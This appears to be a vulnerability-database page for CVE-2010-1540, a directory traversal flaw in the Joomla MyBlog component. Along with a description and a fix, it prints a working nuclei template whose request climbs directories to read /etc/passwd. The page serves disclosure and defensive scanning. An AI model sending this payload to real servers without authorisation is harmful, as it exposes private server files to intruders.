HexBrain

Browse / CVEs / CVE-2010-1540

CVE-2010-1540· myblog / com myblog· CWE-22

Joomla! Component com_blog - Directory Traversal

mediumseverity
5CVSS score
8.2%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Apply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1540 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-1540

info:
  name: Joomla! Component com_blog - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.
  reference:
    - https://www.exploit-db.com/exploits/11625
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1540
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1540
    cwe-id: CWE-22
    epss-score: 0.08233
    epss-percentile: 0.94938
    cpe: cpe:2.3:a:myblog:com_myblog:3.0.329:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: myblog
    product: com_myblog
  tags: cve2010,cve,joomla,lfi,edb,myblog,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from